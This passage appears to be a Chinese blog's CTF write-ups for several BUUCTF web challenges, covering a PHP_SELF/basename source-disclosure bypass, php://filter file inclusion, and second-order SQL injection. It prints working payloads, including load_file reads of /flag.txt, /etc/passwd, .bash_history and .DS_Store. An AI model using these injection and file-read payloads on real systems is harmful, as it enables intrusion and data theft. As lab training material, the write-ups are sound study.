string(8) "pam.conf"
[73]=>
string(5) "pam.d"
[74]=>
string(6) "passwd"
[75]=>
string(7) "passwd-"
[76]=>
string(4) "perl"
[77]=>
string(3) "php"
[78]=>
string(7) "profile"
[79]=>
string(9) "profile.d"
[80]=>
string(9) "python3.8"
[81]=>
string(8) "rc.local"
[82]=>
string(5) "rc0.d"
[83]=>
string(5) "rc1.d"
[84]=>
string(5) "rc2.d"
[85]=>
string(5) "rc3.d"
[86]=>
string(5) "rc4.d"
[87]=>
string(5) "rc5.d"
[88]=>
string(5) "rc6.d"
[89]=>
string(5) "rcS.d"
[90]=>
string(11) "resolv.conf"
[91]=>
string(3) "rmt"
[92]=>
string(9) "securetty"
[93]=>
string(8) "security"
[94]=>
string(7) "selinux"
[95]=>
string(6) "shadow"
[96]=>
string(7) "shadow-"
[97]=>
string(6) "shells"
[98]=>
string(4) "skel"
[99]=>
string(3) "ssl"
[100]=>
string(6) "subgid"
[101]=>
string(7) "subgid-"
[102]=>
string(6) "subuid"
[103]=>
string(7) "subuid-"
[104]=>
string(11) "sysctl.conf"
[105]=>
string(8) "sysctl.d"
[106]=>
string(7) "systemd"
[107]=>
string(8) "terminfo"
[108]=>
string(8) "timezone"
[109]=>
string(10) "tmpfiles.d"
[110]=>
string(8) "ucf.conf"
[111]=>
string(4) "udev"
[112]=>
string(3) "ufw"
[113]=>
string(13) "update-motd.d"
[114]=>
string(3) "vim"
[115]=>
string(6) "wgetrc"
[116]=>
string(3) "xdg"
}
​```

​```
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(10) "egdcbahfbh"
​```

​```
dedhfgiaai
​```

​```
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(10) "aeebhaaejd"
}
​```


获得如上目录,并在最后的一个目录下发现了fl44444g,然后直接文件包含即可
img

buuctf16

[Zer0pts2020]Can you guess it?

查看源码:

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

代码分为两个部分,先说下面吧,让我们比对一个secret,看了一下,根本不可能爆破跑出来的

所以重点应该在上部分,说flag在config.php当中,并且还用了一个正则匹配waf掉config.php,有那种防止我们直接读取的味道,然后下面getsource中,对于我们传入的php_self也是可以直接显示的,所以猜想关键点是绕过这里
几个点学习一下吧:
1.$_SERVER[‘PHP_SELF’]是什么?

$_SERVER['PHP_SELF'] 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关。
假设我们有如下网址,$_SERVER[‘PHP_SELF’]得到的结果分别为:

http://www.baicai.link/index/ :/index/index.php
http://www.baicai.link/cate/miandan.html :/cate/miandan.html
http://www.baicai.link/php/index.php?test=foo :/php/index.php
http://www.baicai.link/php/index.php/test/foo :/php/index.php/test/foo

所以很明显php_self是我们可控的,接下来看看能否尝试绕过正则匹配
就需要看看basename()有没有什么特性,比如php字符串的规则啥的~
img

在php手册中,我们发现如果路径包含对当前区域设置无效的字符,则basename()的行为未定义。

所以
img
接下来我们来构造一下payload:
我们知道phpself获取的是最后一个/后的内容,我们直接输入

/config.php?source

是不行的——这样变成我们执行的是config.php的内容
所以应该是

/index.php/config.php

此时执行的index.php,获取的是config.php
接下来是绕过正则匹配

/index.php/config.php/我认为?source=

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

查看源码,发现file,可以打开文件,于是想到文件包含,试试伪协议读取文件,发现可以
payload:

?file=php://filter/convert.baase64-encode/resource=index.php
<?php//index.php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<?php//search.php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php//change.php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php//confirm.php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
<?php//delete.php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

审计一下可以发现,本题中没有对address进行过滤,所以需要我们构造语句
真好 phpstorm崩溃了
想到之前sqlilabs刷的二次注入,一开始的change.php中只对address进行了 addslashes处理然后就进行了update处理
所以我的思路是这样的,先存一个address,然后用change插入注入语句,因为插入到表中以后转义的字符时不存在的,取出来也就不存在了,
img
payload:

1' where `user_id`=extractvalue(1,concat('~',(select load_file('/flag.txt'))))#

至于为啥想读文件,因为表里没有–
最后这里看了一下wp,毕竟文件名要猜==

[网鼎杯 2018]Comment

又是一题二次注入
首先是登录
账号是zhangwei 密码是zhagnwei666 后面数字直接爆破就行了
进去以后啥都没有,猜测是存在文件泄露——发现git泄露,扫描一波:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

思路很明确了。我们需要利用category这个参数来传入值
首先我们利用write传值,然后利用comment改值
传入:

2',content=(select database()),/*

这里解释一下 我们需要用/**/这个注释符,因为从源码中我们可以看出,他是多行的,所以我们需要选择多行注释符
接下来点击详情 输入

*/#

进行闭合 并注释后面的内容
img

可以看到如下

接下来就是常规注入,但是没有发现flag,这里新学了一种思路
我们查看user()发现是root权限
img

既然是root权限,那么大概率其实应该是读取文件~
接下来就是寻找的一个过程了,这里学了一下学长的思路~很牛!
我们查看etc/passwd

img
发现www用户的存在,于是这个时候 我们可以选择继续查看

有时历史记录命令未存储在.bash_history中

bash_history的记录 看看是否有线索:
img
得到较完整路径,并且看到 .DS_Store 的存在
.DS_Store 是系统自动生成的一个隐藏的文件,存贮目录的自定义属性
所以我们可以看看其中的信息

目标环境是docker,所以 .DS_Store 文件应该在 /tmp 中。而 .DS_Store 文件中,经常会有一些不可键字符,所以我们可以使用hex函数对其内容进行转换,payload为:

',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
img 找到flag,最终payload
',content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*